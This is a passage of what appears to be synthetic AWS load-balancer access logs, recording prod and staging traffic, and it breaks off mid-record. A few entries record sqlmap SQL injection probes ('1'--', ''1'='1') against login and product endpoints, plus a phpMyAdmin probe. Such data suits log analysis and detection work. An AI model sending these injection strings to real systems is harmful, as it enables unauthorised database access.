2024-11-01T00:01:54.660509Z prod-api-alb 218.222.204.131:42898 10.0.116.213:443 0.058083 0.131883 0.023119 302 302 789 8821 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b802-ec0be13cdbf54273ae7d6dc8" "prod-api-alb.example.com" "-" 1 2024-11-01T00:01:54.660509Z "forward" "-" "-" "10.0.116.213:443" "302" "-" "-" -https 2024-11-01T00:01:54.872527Z prod-api-alb 175.183.120.17:13481 10.0.15.219:443 0.020551 0.239519 0.092005 301 301 993 14571 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b802-c823294def5c4977946a6e97" "prod-api-alb.example.com" "-" 4 2024-11-01T00:01:54.872527Z "forward" "-" "-" "10.0.15.219:443" "301" "-" "-" -https 2024-11-01T00:01:55.992365Z prod-web-alb 105.82.84.95:20277 10.0.70.39:443 0.083524 0.263981 0.051388 200 200 948 2906 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b803-9886ff96a9fc426bba443094" "prod-web-alb.example.com" "-" 1 2024-11-01T00:01:55.992365Z "forward" "-" "-" "10.0.70.39:443" "200" "-" "-" -https 2024-11-01T00:01:57.460768Z prod-web-alb 254.250.250.20:51588 10.0.113.248:443 0.016862 0.046506 0.076072 302 302 173 3991 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b805-ee503bc6966f48dcb52686d2" "-" "-" 4 2024-11-01T00:01:57.460768Z "forward" "-" "-" "10.0.113.248:443" "302" "-" "-" -http 2024-11-01T00:01:58.139085Z staging-alb 187.22.17.53:54098 98.205.214.190:443 0.139540 0.665383 0.037286 200 200 584 11886 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b806-5b88818b002749c7ab0ef078" "staging-alb.example.com" "-" 0 2024-11-01T00:01:58.139085Z "forward" "-" "-" "98.205.214.190:443" "200" "-" "-" -http 2024-11-01T00:01:59.018170Z staging-alb 82.109.76.39:41000 161.180.10.194:443 0.070049 0.051248 0.131330 200 200 600 14557 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b807-9a64eda8692e44248ad7a40d" "staging-alb.example.com" "-" 7 2024-11-01T00:01:59.018170Z "forward" "-" "-" "161.180.10.194:443" "200" "-" "-" -http 2024-11-01T00:02:00.780755Z staging-alb 182.183.199.203:36999 168.179.16.112:8080 0.075358 0.642683 0.082240 200 200 367 9808 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b808-1487be5da39e43b1a8a13661" "-" "-" 5 2024-11-01T00:02:00.780755Z "forward" "-" "-" "168.179.16.112:8080" "200" "-" "-" -http 2024-11-01T00:02:01.118124Z staging-alb 205.168.118.66:24542 171.40.135.133:443 0.125890 0.692281 0.090654 301 301 329 9340 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b809-60cf0d2b2f8549aebbdb219a" "staging-alb.example.com" "-" 5 2024-11-01T00:02:01.118124Z "forward" "-" "-" "171.40.135.133:443" "301" "-" "-" -https 2024-11-01T00:02:02.047100Z prod-api-alb 5.230.217.253:47474 10.0.254.58:443 0.025594 0.457561 0.066191 404 404 811 1117 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80a-a60f77e7ebbd4fcfad87a256" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:02.047100Z "forward" "-" "-" "10.0.254.58:443" "404" "-" "-" -https 2024-11-01T00:02:02.656517Z prod-api-alb 192.237.179.185:59795 10.0.30.102:443 0.065350 0.190797 0.094464 200 200 539 2269 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80a-2700086f2bf84b638349959f" "prod-api-alb.example.com" "-" 6 2024-11-01T00:02:02.656517Z "forward" "-" "-" "10.0.30.102:443" "200" "-" "-" -http 2024-11-01T00:02:04.331350Z staging-alb 185.181.118.169:52870 225.79.48.9:8080 0.134534 0.244637 0.096449 403 403 363 7121 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b80c-15fc78400b1148dc84ee8310" "-" "-" 5 2024-11-01T00:02:04.331350Z "forward" "-" "-" "225.79.48.9:8080" "403" "-" "-" -https 2024-11-01T00:02:06.187448Z prod-api-alb 214.57.74.160:52363 10.0.5.29:443 0.003370 0.356660 0.081303 404 404 717 6479 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80e-0c4e1858379042e1b605e356" "prod-api-alb.example.com" "-" 5 2024-11-01T00:02:06.187448Z "forward" "-" "-" "10.0.5.29:443" "404" "-" "-" -https 2024-11-01T00:02:06.303715Z prod-api-alb 216.64.234.146:37576 10.0.254.9:443 0.033557 0.235521 0.038816 404 404 294 12155 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b80e-37a9050e4f1540ea86111890" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:06.303715Z "forward" "-" "-" "10.0.254.9:443" "404" "-" "-" -https 2024-11-01T00:02:08.278474Z prod-web-alb 155.50.121.32:63580 10.0.11.205:443 0.041565 0.249241 0.033222 200 200 572 809 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b810-6b16f4eac48b44c1bc74e947" "prod-web-alb.example.com" "-" 7 2024-11-01T00:02:08.278474Z "forward" "-" "-" "10.0.11.205:443" "200" "-" "-" -https 2024-11-01T00:02:09.035857Z prod-api-alb 73.84.121.239:52590 10.0.33.86:443 0.062329 0.262809 0.042357 200 200 712 11327 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b811-6e7f81c9f32c4f788a26906b" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:09.035857Z "forward" "-" "-" "10.0.33.86:443" "200" "-" "-" -https 2024-11-01T00:02:10.967354Z prod-web-alb 248.253.50.98:33056 10.0.253.228:443 0.080354 0.233342 0.001580 200 200 652 13721 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b812-d6e0c901bc1740b4a118dc01" "prod-web-alb.example.com" "-" 10 2024-11-01T00:02:10.967354Z "forward" "-" "-" "10.0.253.228:443" "200" "-" "-" -https 2024-11-01T00:02:11.367296Z prod-web-alb 84.93.167.244:17979 10.0.237.43:443 0.061299 0.346760 0.039121 200 200 755 14430 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b813-3ea8669aa69d48ebaa646c80" "prod-web-alb.example.com" "-" 6 2024-11-01T00:02:11.367296Z "forward" "-" "-" "10.0.237.43:443" "200" "-" "-" -https 2024-11-01T00:02:12.177302Z staging-alb 8.253.148.223:60567 124.51.138.195:443 0.067295 0.058879 0.086278 404 404 408 1919 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b814-3a02e8a1c2354670be51b9a7" "staging-alb.example.com" "-" 7 2024-11-01T00:02:12.177302Z "forward" "-" "-" "124.51.138.195:443" "404" "-" "-" -https 2024-11-01T00:02:12.401292Z prod-web-alb 94.93.3.122:33258 10.0.16.228:443 0.062177 0.239639 0.057444 200 200 240 5488 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b814-b151d2737d1840f5b2ef0a55" "prod-web-alb.example.com" "-" 7 2024-11-01T00:02:12.401292Z "forward" "-" "-" "10.0.16.228:443" "200" "-" "-" -https 2024-11-01T00:02:13.862783Z prod-web-alb 5.233.109.167:23093 10.0.28.24:443 0.004070 0.345276 0.064668 301 301 56 6124 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b815-0be415d5a4e94985a28a6a78" "prod-web-alb.example.com" "-" 6 2024-11-01T00:02:13.862783Z "forward" "-" "-" "10.0.28.24:443" "301" "-" "-" -https 2024-11-01T00:02:14.587961Z staging-alb 15.83.107.223:63861 150.10.183.253:443 0.092636 0.344314 0.036935 200 200 985 8627 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b816-c867e280362f4cdaa2dc4c3f" "staging-alb.example.com" "-" 1 2024-11-01T00:02:14.587961Z "forward" "-" "-" "150.10.183.253:443" "200" "-" "-" -https 2024-11-01T00:02:16.172475Z prod-web-alb 185.181.118.169:16129 10.0.192.211:443 0.095217 0.468572 0.050779 200 200 990 1288 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b818-16a01a382d0e47f8ac7f081b" "-" "-" 10 2024-11-01T00:02:16.172475Z "forward" "-" "-" "10.0.192.211:443" "200" "-" "-" -https 2024-11-01T00:02:17.073938Z prod-web-alb 185.181.2.252:35288 10.0.236.220:443 0.023567 0.311920 0.066816 302 302 130 2848 "POST /phpmyadmin HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b819-3003f705519d4443942f6fe4" "-" "-" 6 2024-11-01T00:02:17.073938Z "forward" "-" "-" "10.0.236.220:443" "302" "-" "-" -https 2024-11-01T00:02:18.122958Z prod-api-alb 12.15.31.113:12064 10.0.224.43:443 0.026268 0.238277 0.070225 404 404 743 5082 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b81a-bd6d0c230747463d8828c1d3" "prod-api-alb.example.com" "-" 6 2024-11-01T00:02:18.122958Z "forward" "-" "-" "10.0.224.43:443" "404" "-" "-" -https 2024-11-01T00:02:19.180064Z prod-web-alb 240.204.0.201:46494 10.0.199.177:443 0.053192 0.004498 0.079394 200 200 901 14474 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b81b-073eab2e953540eb9bd613b5" "prod-web-alb.example.com" "-" 1 2024-11-01T00:02:19.180064Z "forward" "-" "-" "10.0.199.177:443" "200" "-" "-" -https 2024-11-01T00:02:20.851663Z prod-web-alb 38.73.36.147:19393 10.0.169.130:443 0.046255 0.149247 0.007550 301 301 921 10494 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b81c-b7898d2ffc5247558948a916" "prod-web-alb.example.com" "-" 9 2024-11-01T00:02:20.851663Z "forward" "-" "-" "10.0.169.130:443" "301" "-" "-" -https 2024-11-01T00:02:22.460494Z staging-alb 2.28.196.193:19576 81.220.180.240:80 0.123002 0.729575 0.068715 302 302 886 5645 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b81e-5ea077edd3fc4c99bd696896" "staging-alb.example.com" "-" 3 2024-11-01T00:02:22.460494Z "forward" "-" "-" "81.220.180.240:80" "302" "-" "-" -https 2024-11-01T00:02:22.685283Z prod-web-alb 73.209.43.106:50521 10.0.23.226:443 0.082815 0.075867 0.077366 302 302 505 11150 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b81e-b7cf3ab7610a4181b4bc751b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:22.685283Z "forward" "-" "-" "10.0.23.226:443" "302" "-" "-" -https 2024-11-01T00:02:23.865559Z prod-api-alb 154.30.13.91:59383 10.0.161.43:443 0.083794 0.000091 0.081565 302 302 27 11254 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b81f-14353d641d24466ba0d8e34e" "prod-api-alb.example.com" "-" 1 2024-11-01T00:02:23.865559Z "forward" "-" "-" "10.0.161.43:443" "302" "-" "-" -https 2024-11-01T00:02:25.100330Z staging-alb 73.76.75.71:46444 184.204.191.33:8080 0.091288 0.525599 0.098418 200 200 619 5137 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b821-bf8e166da5514666a0a59f45" "-" "-" 10 2024-11-01T00:02:25.100330Z "forward" "-" "-" "184.204.191.33:8080" "200" "-" "-" -http 2024-11-01T00:02:26.335930Z staging-alb 29.248.220.244:25311 61.247.176.253:443 0.054347 0.574508 0.085610 302 302 723 12606 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b822-099b396e09784a42b12e2af4" "staging-alb.example.com" "-" 2 2024-11-01T00:02:26.335930Z "forward" "-" "-" "61.247.176.253:443" "302" "-" "-" -http 2024-11-01T00:02:27.680268Z staging-alb 185.181.118.169:15591 3.27.249.134:8080 0.109260 0.625717 0.003986 200 200 230 7103 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b823-902e398774994eb691699186" "-" "-" 4 2024-11-01T00:02:27.680268Z "forward" "-" "-" "3.27.249.134:8080" "200" "-" "-" -https 2024-11-01T00:02:28.783746Z staging-alb 119.51.163.47:21721 230.135.114.185:443 0.084620 0.648578 0.080806 200 200 230 5727 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b824-a16a29c09de940b9840ba6ba" "staging-alb.example.com" "-" 6 2024-11-01T00:02:28.783746Z "forward" "-" "-" "230.135.114.185:443" "200" "-" "-" -https 2024-11-01T00:02:29.690697Z prod-web-alb 2.168.243.36:42992 10.0.205.240:443 0.069844 0.001994 0.003553 301 301 198 12033 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b825-28f2efa103e441c1b8fab372" "prod-web-alb.example.com" "-" 4 2024-11-01T00:02:29.690697Z "forward" "-" "-" "10.0.205.240:443" "301" "-" "-" -http 2024-11-01T00:02:31.246093Z staging-alb 46.109.143.200:58148 111.135.127.105:443 0.018532 0.551961 0.076608 404 404 44 11754 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b827-a5e60c29d1d84e09902b2b5b" "staging-alb.example.com" "-" 5 2024-11-01T00:02:31.246093Z "forward" "-" "-" "111.135.127.105:443" "404" "-" "-" -http 2024-11-01T00:02:32.072797Z staging-alb 233.254.166.104:23176 60.191.100.174:443 0.010012 0.492236 0.035006 200 200 186 12513 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b828-4cb8084bed8846978487ecf8" "staging-alb.example.com" "-" 10 2024-11-01T00:02:32.072797Z "forward" "-" "-" "60.191.100.174:443" "200" "-" "-" -https 2024-11-01T00:02:32.777059Z prod-api-alb 67.185.140.20:52134 10.0.91.250:443 0.089093 0.476553 0.051831 301 301 904 8665 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b828-9ee43429f03949af9e720eb0" "prod-api-alb.example.com" "-" 3 2024-11-01T00:02:32.777059Z "forward" "-" "-" "10.0.91.250:443" "301" "-" "-" -https 2024-11-01T00:02:34.253818Z prod-web-alb 148.176.113.190:12094 10.0.85.82:443 0.038363 0.396885 0.057471 301 301 700 5226 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82a-1e3362c7f9264dbc92518169" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:34.253818Z "forward" "-" "-" "10.0.85.82:443" "301" "-" "-" -https 2024-11-01T00:02:34.566428Z prod-web-alb 83.154.72.73:43253 10.0.172.247:443 0.033141 0.333070 0.040631 302 302 286 427 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82a-f3af5c65685f4ae8b5edb98e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:02:34.566428Z "forward" "-" "-" "10.0.172.247:443" "302" "-" "-" -http 2024-11-01T00:02:35.048367Z staging-alb 58.96.192.42:15738 211.211.5.61:8080 0.127060 0.415805 0.015077 200 200 692 5311 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b82b-c38a9bac999d408db1151397" "staging-alb.example.com" "-" 10 2024-11-01T00:02:35.048367Z "forward" "-" "-" "211.211.5.61:8080" "200" "-" "-" -https 2024-11-01T00:02:36.787811Z prod-api-alb 117.149.67.116:44365 10.0.17.23:443 0.026547 0.259529 0.030926 200 200 956 10216 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b82c-9c3d0502a4d747d79d7d342f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:02:36.787811Z "forward" "-" "-" "10.0.17.23:443" "200" "-" "-" -https 2024-11-01T00:02:37.444449Z prod-web-alb 52.88.120.38:43028 10.0.106.33:443 0.021938 0.377757 0.010402 200 200 27 4250 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b82d-24345e94c0aa4facb996b648" "prod-web-alb.example.com" "-" 8 2024-11-01T00:02:37.444449Z "forward" "-" "-" "10.0.106.33:443" "200" "-" "-" -https 2024-11-01T00:02:38.673102Z prod-api-alb 201.215.0.111:23685 10.0.204.60:443 0.016260 0.058289 0.024558 200 200 303 1103 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b82e-24db6a301fed4f7c9837fb0c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:38.673102Z "forward" "-" "-" "10.0.204.60:443" "200" "-" "-" -https 2024-11-01T00:02:40.523372Z prod-api-alb 59.93.101.188:31174 10.0.85.30:443 0.091133 0.498716 0.033026 200 200 674 14454 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b830-bb6ef20181cf429a9c304fd3" "-" "-" 10 2024-11-01T00:02:40.523372Z "forward" "-" "-" "10.0.85.30:443" "200" "-" "-" -http 2024-11-01T00:02:41.604148Z staging-alb 94.15.90.123:63722 239.15.104.8:80 0.012823 0.122620 0.057786 200 200 480 14566 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b831-98b42f3ff1994ac0b6655f16" "staging-alb.example.com" "-" 0 2024-11-01T00:02:41.604148Z "forward" "-" "-" "239.15.104.8:80" "200" "-" "-" -https 2024-11-01T00:02:42.790127Z staging-alb 70.54.222.2:29841 222.251.200.112:443 0.065018 0.214303 0.104185 302 302 120 11981 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b832-db813ec372a74bcf90af1461" "staging-alb.example.com" "-" 6 2024-11-01T00:02:42.790127Z "forward" "-" "-" "222.251.200.112:443" "302" "-" "-" -http 2024-11-01T00:02:43.861227Z staging-alb 196.184.166.51:17254 38.231.96.49:443 0.053738 0.264605 0.041448 200 200 7 4132 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b833-bc90f1656cf740d48af83319" "staging-alb.example.com" "-" 3 2024-11-01T00:02:43.861227Z "forward" "-" "-" "38.231.96.49:443" "200" "-" "-" -http 2024-11-01T00:02:44.929164Z staging-alb 79.216.214.71:49825 54.244.151.87:8080 0.126935 0.051674 0.019517 301 301 887 10096 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b834-ee5d0c73bf124e07ae8d243f" "staging-alb.example.com" "-" 3 2024-11-01T00:02:44.929164Z "forward" "-" "-" "54.244.151.87:8080" "301" "-" "-" -https 2024-11-01T00:02:45.549847Z staging-alb 161.173.238.53:59807 102.118.131.200:80 0.104013 0.437780 0.094382 302 302 899 8577 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 